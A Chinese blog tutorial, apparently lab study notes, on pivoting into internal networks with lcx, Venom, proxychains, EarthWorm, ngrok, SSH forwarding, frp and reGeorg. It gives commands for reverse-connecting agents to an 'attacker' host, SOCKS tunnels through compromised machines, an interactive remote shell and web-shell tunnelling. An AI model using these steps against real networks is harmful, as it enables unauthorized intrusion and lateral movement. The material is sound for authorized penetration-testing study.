代理内网穿透-Lcx.exe-venom-proxychains

代理

    • 面试常问
  • 一.概述
    • 代理的本质是socks协议.
  • 二.代理分类:
    • **1.正向代理**
    • **反向代理**
  • 三.Lcx.exe内网端口转发
    • **步骤**
    • **linux系统作为转发**
    • **window系统转发流量**
  • 四.venom 内网穿透
    • 1. 在物理机上使用admin.exe 监听本地的12345端口
    • 2. kali linux 需要连接物理机的12345端口
    • 3. 物理机进入kali linux 1节点 转发22331
    • 4. sql server 连接kali linux的 22331端口
    • 5.物理机进入sql server 2节点 转发32145
    • 6. java虚拟机连接sql server的32145
    • 10. 通过访问25612端口 就能够访问到节点3 (java bihuo虚拟机中的端口
    • 11. proxfer工具
  • 五.proxychains proxy 代理 全局代理工具
  • 六.earthworm ===> 内网穿透
    • 1. 全局流量代理
  • 七. ngrok 把80端口映射到公网
  • 八.ssh代理转发
    • 1.ssh正向代理
    • 2.ssh反向代理
  • 九.frp 用的多
    • 1.实验: 通过 SSH 访问内网机器
    • 2.实验:通过自定义域名访问内网的 Web 服务
    • 3. 对外提供简单的文件访问服务
    • 4. 安全地暴露内网服务
  • 十. regeorg

未经授权禁止任何渗透测试

面试常问

1.正向代理和反向代理的区别
2.正向代理和反向代理 常见出现位置

正向代理 客户端明确知道 存在一个中间代理服务器 反向代理 该代理对外表现就是一个服务器

一.概述

利用代理工具将内网的流量代理到本地进行访问或者利用工具将其他网段的流量转发到本地进行纵向渗透

msf 中 portfwd
将目标主机上的端口转发到msf所在的服务器上

代理的本质是socks协议.

二.代理分类:

1.正向代理

正向代理是将我们的流量转发给一个跳板,然后该跳板将我们发送给他的包转发给目标
比如我们国内访问***,直接访问访问不到,我们可以通过一个正向代理服务器,请求发到代理服务器,代理服务器能够访问**,这样由代理去取到返回数据,再返回给我们,这样我们就能访问
代理内网穿透-Lcx.exe-venom-proxychains_第1张图片
正向代理用途

访问原来无法访问的资源,如****,公司内网
出差访问公司内网 client 分配公司内网的ip地址
对客户端访问授权,上网进行认证
代理可以记录用户访问记录(上网行为管理),对外隐藏用户信息

xxxx 上网行为管理

反向代理

反向代理以代理服务器来处理来自网络上的连接请求,然后将请求转发到内部网络上的服务器,并将从内部服务器得到的结果返回给来自网络上的客户端,此时,代理服务器表现为一个服务器

代理内网穿透-Lcx.exe-venom-proxychains_第2张图片

反向代理的作用:

边界防火墙 nat
保证内网的安全,一定程度上阻止web攻击.
在大型网站中,通常将反向代理作为公网访问地址,而真正的Web服务器存在于内网之中.
负载均衡,通过反向代理服务器来优化网站的负载

三.Lcx.exe内网端口转发

代理内网穿透-Lcx.exe-venom-proxychains_第3张图片
代理内网穿透-Lcx.exe-venom-proxychains_第4张图片

步骤

bihuo 虚拟机 <=======> kali linux <=======> 物理机

物理机访问bihuo 虚拟机的3389端口 直接访问无法访问到

bihuo虚拟机: 主动将自身的3389端口的流量转发到kali linux 主机上的特定端口(11111)

kali linux 虚拟机:11111端口监听来自于bihuo虚拟机3389的流量 将11111端口接收到的流量转发到kali linux 的22222端口

物理机: 访问kali linux 的22222端口 就可以获得bihuo虚拟机的3389端口的流量

代理内网穿透-Lcx.exe-venom-proxychains_第5张图片

下载lcx – linux 版本 portmap

linux系统作为转发

  1. kali linux 虚拟机: 在11111端口监听来自于bihuo虚拟机3389的流量 将11111端口接收到的流量转发到kali linux 的22222端口

公网主机上执行:lcx.exe –listen 接收数据的端口 映射流量的端口,意思是监听公网主机本机的 11111端口请求,并将来自 11111 端口的请求传送给 22222 端口。

命令:

./portmap -m 2 -p1 11111 -p2 22222

代理内网穿透-Lcx.exe-venom-proxychains_第6张图片

  1. bihuo虚拟机: 主动将自身的3389端口的流量转发到kali linux 主机上的特定端口(11111)

内网主机上执行:lcx.exe –slave 公网主机ip 公网主机端口 内网主机ip 内网主机端口,意思是把内网主机的某端口转发到具有公网ip主机的 对应 端口。

开启3389
代理内网穿透-Lcx.exe-venom-proxychains_第7张图片

代理内网穿透-Lcx.exe-venom-proxychains_第8张图片
命令

lcx.exe -slave 192.168.0.142 1111 127.0.0.1 3389

代理内网穿透-Lcx.exe-venom-proxychains_第9张图片
3. 此时物理机直接访问:kaliIP:22222,即可转发到内网IP的3389
代理内网穿透-Lcx.exe-venom-proxychains_第10张图片
代理内网穿透-Lcx.exe-venom-proxychains_第11张图片

window系统转发流量

 kali linux <=======> bihuo 虚拟机<=======> 物理机

物理机访问 kali linux 虚拟机的22端口 直接访问无法访问到

kali linux虚拟机: 主动将自身的22端口的流量转发到bihuo虚拟机的特定端口(11111)

bihuo虚拟机: 在11111端口监听来自于kali linux虚拟机22的流量 将11111端口接收到的流量转发到bihuo虚拟机 的22222端口

物理机: 访问bihuo虚拟机的22222端口 就可以获得kali linux 虚拟机的22端口的流量
  1. bihuo虚拟机: 在11111端口监听来自于kali linux虚拟机22的流量 将11111端口接收到的流量转发到bihuo虚拟机 的22222端口

命令:

lcx.exe -listen 11111 22222

代理内网穿透-Lcx.exe-venom-proxychains_第12张图片
在这里插入图片描述

  1. kali linux虚拟机: 主动将自身的22端口的流量转发到bihuo虚拟机的特定端口(11111)

命令:

service ssh start  # 开启22端口

在这里插入图片描述
命令:

./portmap\ lcx -m 3 -h1 127.0.0.1 -p1 22 -h2 192.168.0.3 -p2 11111

代理内网穿透-Lcx.exe-venom-proxychains_第13张图片

  1. 物理机: 访问bihuo虚拟机的22222端口 就可以获得kali linux 虚拟机的22端口的流量
    访问

命令:

ssh [email protected] -p 22222

代理内网穿透-Lcx.exe-venom-proxychains_第14张图片

四.venom 内网穿透

使用go开发的多级代理工具,可以将多个节点进行连接,然后以节点为跳板,构建多级代理.

bihuo java虚拟机(192.168.0.13)<======> sql server注入(192.168.0.21:32145) <======> kali linux(192.168.0.142:22331) <=======> 物理机(192.168.0.17:12345)


在物理机上使用admin.exe 监听本地的12345端口

kali linux 需要连接物理机的12345端口

代理内网穿透-Lcx.exe-venom-proxychains_第15张图片

1. 在物理机上使用admin.exe 监听本地的12345端口

命令:

admin.exe -lport 12345

代理内网穿透-Lcx.exe-venom-proxychains_第16张图片

2. kali linux 需要连接物理机的12345端口

代理内网穿透-Lcx.exe-venom-proxychains_第17张图片
命令:

./agent_linux_x64 -rhost 192.168.0.17 -rport 12345

在这里插入图片描述

3. 物理机进入kali linux 1节点 转发22331

命令:

goto 1
listen 22331

代理内网穿透-Lcx.exe-venom-proxychains_第18张图片

4. sql server 连接kali linux的 22331端口

命令:

agent.exe -rhost 192.168.0.142 -rport 22331

代理内网穿透-Lcx.exe-venom-proxychains_第19张图片

5.物理机进入sql server 2节点 转发32145

命令:

 goto 2
 listen 32145

代理内网穿透-Lcx.exe-venom-proxychains_第20张图片

6. java虚拟机连接sql server的32145

命令:

agent.exe -rhost 192.168.0.21 -rport 32145

在这里插入图片描述

  1. show 拓扑

代理内网穿透-Lcx.exe-venom-proxychains_第21张图片
8. shell交互模式

代理内网穿透-Lcx.exe-venom-proxychains_第22张图片
9. help 帮助
代理内网穿透-Lcx.exe-venom-proxychains_第23张图片

10. 通过访问25612端口 就能够访问到节点3 (java bihuo虚拟机中的端口

命令:
物理机转发25612

goto 3
socks 25612

代理内网穿透-Lcx.exe-venom-proxychains_第24张图片
netstat -ano | findstr 25612 查看端口是否开启
在这里插入图片描述

11. proxfer工具

venom 全局代理
socks 一次转发使用流量
在这里插入图片描述
代理内网穿透-Lcx.exe-venom-proxychains_第25张图片
代理内网穿透-Lcx.exe-venom-proxychains_第26张图片
代理内网穿透-Lcx.exe-venom-proxychains_第27张图片
代理内网穿透-Lcx.exe-venom-proxychains_第28张图片

代理内网穿透-Lcx.exe-venom-proxychains_第29张图片
代理内网穿透-Lcx.exe-venom-proxychains_第30张图片
代理内网穿透-Lcx.exe-venom-proxychains_第31张图片

  1. lforward 转发本地流量
    lforward 是将admin.exe所在的主机的端口映射到内部节点的目标端口

在这里插入图片描述
命令:

lforward 127.0.0.1 80 8888

在这里插入图片描述
代理内网穿透-Lcx.exe-venom-proxychains_第32张图片

代理内网穿透-Lcx.exe-venom-proxychains_第33张图片

  1. rfprward 将sql server 虚拟机3389 转发 到物理机的3377
    命令:
    rfprward 192.168.0.21 3389 3377
    代理内网穿透-Lcx.exe-venom-proxychains_第34张图片

upload 上传
在这里插入图片描述
命令
代理内网穿透-Lcx.exe-venom-proxychains_第35张图片
download 下载
在这里插入图片描述
代理内网穿透-Lcx.exe-venom-proxychains_第36张图片

明文连接
代理内网穿透-Lcx.exe-venom-proxychains_第37张图片

-passwd 增加密码 进行流量加密
命令

admin.exe -lport 12345 -passwd bihuo

代理内网穿透-Lcx.exe-venom-proxychains_第38张图片
命令:

./agent_linux_x64 -rhost 192.168.0.17 -rport 12345 -passwd bihuo

在这里插入图片描述

代理内网穿透-Lcx.exe-venom-proxychains_第39张图片
代理内网穿透-Lcx.exe-venom-proxychains_第40张图片

五.proxychains proxy 代理 全局代理工具

proxychains 目前支持的平台主要是 Linux 和 Mac。

chains 链条

将sql server 流量转发到33221
命令

socks 33221

代理内网穿透-Lcx.exe-venom-proxychains_第41张图片
命令:

vim /etc/proxychains.conf

代理内网穿透-Lcx.exe-venom-proxychains_第42张图片
代理内网穿透-Lcx.exe-venom-proxychains_第43张图片
代理内网穿透-Lcx.exe-venom-proxychains_第44张图片

六.earthworm ===> 内网穿透

EarthWorm是一款用于开启 SOCKS v5 代理服务的工具,基于标准 C 开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。

专有主页: http://rootkiter.com/EarthWorm/

在这里插入图片描述

1. 全局流量代理

普通网络环境:
1. 目标网络边界存在公网IP且可任意开监听端口:
命令

chmod +x ew_for_linux64 
./ew_for_linux64 -s ssocksd -l 8888

代理内网穿透-Lcx.exe-venom-proxychains_第45张图片
代理内网穿透-Lcx.exe-venom-proxychains_第46张图片
代理内网穿透-Lcx.exe-venom-proxychains_第47张图片
代理内网穿透-Lcx.exe-venom-proxychains_第48张图片
代理内网穿透-Lcx.exe-venom-proxychains_第49张图片

代理内网穿透-Lcx.exe-venom-proxychains_第50张图片

  1. 目标网络边界不存在公网 IP,需要通过反弹方式创建 socks 代理

                 一台可控公网IPkali主机                  可控内网主机bihuo-win7
          +---------+     +--------------------------+    |     +---------------+
          |HackTools| ->> | 1080 ->  192.168.0.142 -> 8888 |  防火墙  | <--  192.168.0.21  |
          +---------+     +--------------------------+    |     +---------------+
    
    
    
          kali) ./ew -s rcsocks -l 1080 -e 8888
                        // 在 192.168.0.142 的公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机
           bihuo) ./ew -s rssocks -d 192.168.0.142 -e 8888          
                        // 将目标网络的可控边界主机反向连接公网主机
    
            c) HackTools 可通过访问 192.168.0142:1080 端口使用 rssocks 主机提供的 socks5 代理服务
    
  2. kali linux作为中间主机 将1080接收的流量转发8888
    代理内网穿透-Lcx.exe-venom-proxychains_第51张图片

mssql主动连接kali linux中间主机的8888端口
代理内网穿透-Lcx.exe-venom-proxychains_第52张图片

代理内网穿透-Lcx.exe-venom-proxychains_第53张图片

代理内网穿透-Lcx.exe-venom-proxychains_第54张图片

  1. 获得目标网络内两台主机 A、B 的权限,情况描述如下:

A 主机: 目标网络的边界主机,无公网 IP,无法访问特定资源。
B 主机: 目标网络内部主机,可访问特定资源,却无法回连公网。

A 主机可直连 B 主机
物理机<<->> 一台可控公网IP主机(kali) <<------>> 可控内网主机(sql-server) <<------>>可访问指定资源的主机(java)
±--------+ ±-------------------------+ | ±----------------+ ±----------------+
|HackTools| ->> | 1080 -> 192.168.0.142 -> 8888 | 防火墙 | <-- 192.168.0.67 --> | ->> | 9999 -> 192.168.0.13 |
±--------+ ±-------------------------+ | ±----------------+ ±----------------+

a) ./ew -s lcx_listen -l 1080 -e 8888
// 在 192.168.0.142 公网主机添加转接隧道,将 1080 收到的代理请求
// 转交给反连 8888 端口的主机
b) ./ew -s ssocksd -l 9999
// 在 192.168.0.13 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理

c) ./ew -s lcx_slave -d 192.168.0.142 -e 8888 -f 192.168.0.13 -g 9999
// 在 192.168.0.67 上,通过工具的 lcx_slave 方式,打通192.168.0.142:8888 和 192.168.0.13:9999 之间的通讯隧道

d) HackTools 可通过访问 192.168.0.142:1080 来使用 192.168.0.13 主机提供的 socks5 代理

代理内网穿透-Lcx.exe-venom-proxychains_第55张图片
代理内网穿透-Lcx.exe-venom-proxychains_第56张图片

代理内网穿透-Lcx.exe-venom-proxychains_第57张图片
代理内网穿透-Lcx.exe-venom-proxychains_第58张图片

代理内网穿透-Lcx.exe-venom-proxychains_第59张图片

七. ngrok 把80端口映射到公网

https://dashboard.ngrok.com/signup

代理内网穿透-Lcx.exe-venom-proxychains_第60张图片
命令:

ngrok.exe  http 80

代理内网穿透-Lcx.exe-venom-proxychains_第61张图片
代理内网穿透-Lcx.exe-venom-proxychains_第62张图片

八.ssh代理转发

-C 压缩传输,提高传输速度。
 -f 将 SSH 传输转入后台执行,不占用当前 shell (不阻塞)
 -N 建立静默连接(建立了连接但看不到具体会话)
 -g 允许远程主机连接本地用于转发的端口。
 -L 本地端口转发
 -R 远程端口转发
 -D 动态转发( SOCKS 代理)
 -p 指定 SSH 端口

查看端口开放命令:
netstat -ano | findstr 3389

1.ssh正向代理

代理内网穿透-Lcx.exe-venom-proxychains_第63张图片

  1. 配置kali 主机开启ssh服务
    命令:
service ssh start

在这里插入图片描述

  1. 在物理机(攻击)执行对应的命令 利用ssh创建生成管道
    192.168.0.13:3389ip是被转发目标的IP端口
    命令:
ssh -CfNg -L 3388:192.168.0.13:3389 [email protected]

代理内网穿透-Lcx.exe-venom-proxychains_第64张图片
3. 连接自己的3388
代理内网穿透-Lcx.exe-venom-proxychains_第65张图片

2.ssh反向代理

代理内网穿透-Lcx.exe-venom-proxychains_第66张图片
本地
ssh -CfNg -R ssh服务所在ip将要监听的端口:内网主机IP:内网主机端口 ssh用户名@ssh所在的ip

命令:

ssh -CfNg -R 8889:192.168.0.13:3389 [email protected]

代理内网穿透-Lcx.exe-venom-proxychains_第67张图片

代理内网穿透-Lcx.exe-venom-proxychains_第68张图片
总结:

ssh 在attacker 执行命令 通过ssh 将内网中的端口映射到attacker的特定端口

反向代理: 被转发的主机通过 ssh 将自身的端口映射到ssh 所在主机的特定端口

九.frp 用的多

https://github.com/fatedier/frp/releases

通过在具有公网 IP 的节点上部署 frp 服务端,可以轻松地将内网服务穿透到公网,同时提供诸多专业的功能特性,这包括:
客户端服务端通信支持 TCP、KCP 以及 Websocket 等多种协议。
采用 TCP 连接流式复用,在单个连接间承载更多请求,节省连接建立时间。
代理组间的负载均衡。
端口复用,多个服务通过同一个服务端端口暴露。
多个原生支持的客户端插件(静态文件查看,HTTP、SOCK5 代理等),便于独立使用 frp 客户端完成某些工作。
高度扩展性的服务端插件系统,方便结合自身需求进行功能扩展。
服务端和客户端 UI 页面。

如何用
代理内网穿透-Lcx.exe-venom-proxychains_第69张图片

1.实验: 通过 SSH 访问内网机器

frps bihuo java虚拟机 充当服务器

kali linux 充当被转发端口的主机

代理内网穿透-Lcx.exe-venom-proxychains_第70张图片
frps 是服务器 具有公网 IP 的节点

  1. frps bihuo java虚拟机监听7000端口
    命令:
frps.exe -c ./frpc.ini

代理内网穿透-Lcx.exe-venom-proxychains_第71张图片

代理内网穿透-Lcx.exe-venom-proxychains_第72张图片

  1. 将kali linux 的端口通过frp转发到java 虚拟机的6000端口
    代理内网穿透-Lcx.exe-venom-proxychains_第73张图片
    命令:
./frpc -c ./frpc.ini

在这里插入图片描述
java虚拟机
7000端口等待连接
在这里插入图片描述

  1. 物理机连接java虚拟机7000端口
    命令:
ssh -oPort=6000 [email protected]

代理内网穿透-Lcx.exe-venom-proxychains_第74张图片

2.实验:通过自定义域名访问内网的 Web 服务

  1. 修改 frps.ini 文件,设置监听 HTTP 请求端口为 8080:
    代理内网穿透-Lcx.exe-venom-proxychains_第75张图片

8080 映射web服务的

命令:

frps.exe -c ./frps.ini

代理内网穿透-Lcx.exe-venom-proxychains_第76张图片

  1. frpc 客户端

修改 frpc.ini 文件,假设 frps 所在的服务器的 IP 为 x.x.x.x,local_port 为本地机器上 Web 服务监听的端口, 绑定自定义域名为 yui -roge 。

[common]
server_addr = 192.168.0.13
server_port = 7000

[web]
type = http
local_port = 80
custom_domains = www.roge.com

[web2]
type = http
local_port = 8080
custom_domains = www.yui.com

代理内网穿透-Lcx.exe-venom-proxychains_第77张图片
命令:

./frpc -c ./frpc.ini

在这里插入图片描述
代理内网穿透-Lcx.exe-venom-proxychains_第78张图片

代理内网穿透-Lcx.exe-venom-proxychains_第79张图片
3. 通过浏览器访问 http://www.roge.com:8080 即可访问到处于内网机器上 80 端口的服务,访问 http://www.yui.com:8080 则访问到内网机器上 8080 端口的服务。
代理内网穿透-Lcx.exe-venom-proxychains_第80张图片

3. 对外提供简单的文件访问服务

通过 static_file 插件可以对外提供一个简单的基于 HTTP 的文件访问服务。

  1. frps.ini 内容如下:
[common]
bind_port = 8000

运行:
命令:

frps.exe -c ./frps.ini
  1. frpc.ini 内容如下:
[common]
server_addr = 192.168.0.13
server_port = 8000
[test_static_file]
type = tcp
remote_port = 6000
plugin = static_file
#要对外暴露的文件目录
plugin_local_path = /home/kali/Desktop
#用户访问 URL 中会被去除的前缀,保留的内容即为要访问的文件路径
plugin_strip_prefix = static
plugin_http_user = abc
plugin_http_passwd = abc

运行:
命令:

./frpc -c ./frpc.ini

在这里插入图片描述

  1. 通过浏览器访问 http://192.168.0.13:6000/static/ 来查看位于 /home/kali/Desktop 目录下的文件,会要求输入已设置好的用户名和密码。

代理内网穿透-Lcx.exe-venom-proxychains_第81张图片
代理内网穿透-Lcx.exe-venom-proxychains_第82张图片

4. 安全地暴露内网服务

这个示例将会创建一个只有自己能访问到的 SSH 服务代理。
对于某些服务来说如果直接暴露于公网上将会存在安全隐患。

使用 stcp(secret tcp) 类型的代理可以避免让任何人都能访问到要穿透的服务,但是访问者也需要运行另外一个 frpc 客户端。

代理内网穿透-Lcx.exe-venom-proxychains_第83张图片

  1. frps.ini 内容如下:
[common]
bind_port = 8000

命令:执行

frps.exe -c ./frps.ini
  1. 在需要暴露到内网的机器上部署 frpc,且配置如下:
[common]
server_addr = 192.168.0.13
server_port = 8000

[secret_ssh]
type = stcp
#只有 sk 一致的用户才能访问到此服务
sk = bihuo
local_ip = 127.0.0.1
local_port = 22

命令:执行

./frpc -c ./frpc.ini
  1. 在想要访问内网服务的机器上也部署 frpc,且配置如下:
    [common]
    server_addr = 192.168.0.13
    server_port = 8000

[secret_ssh_visitor]
type = stcp
#stcp 的访问者
role = visitor
#要访问的 stcp 代理的名字
server_name = secret_ssh
sk = bihuo
#绑定本地端口用于访问 SSH 服务
bind_addr = 127.0.0.1
bind_port = 6000

命令:执行

./frpc -c ./frpc.ini

代理内网穿透-Lcx.exe-venom-proxychains_第84张图片
代理内网穿透-Lcx.exe-venom-proxychains_第85张图片

  1. 通过 SSH 访问内网机器,假设用户名为 bihuo:

ssh -oPort=6000 [email protected]
代理内网穿透-Lcx.exe-venom-proxychains_第86张图片

十. regeorg

在这里插入图片描述
安装命令:

pip install urllib3

需要python2环境
代理内网穿透-Lcx.exe-venom-proxychains_第87张图片
将 bihuo java虚拟机的流量转发

代理内网穿透-Lcx.exe-venom-proxychains_第88张图片
代理内网穿透-Lcx.exe-venom-proxychains_第89张图片
代理内网穿透-Lcx.exe-venom-proxychains_第90张图片

将 bihuo java虚拟机的流量转发

命令:

python2 reGeorgSocksProxy.py -p 8383 -u http://192.168.0.13/tunnel.php

代理内网穿透-Lcx.exe-venom-proxychains_第91张图片
命令:

vim /etc/proxychains.conf

代理内网穿透-Lcx.exe-venom-proxychains_第92张图片
代理内网穿透-Lcx.exe-venom-proxychains_第93张图片

你可能感兴趣的:(网络安全,笔记,web安全,安全)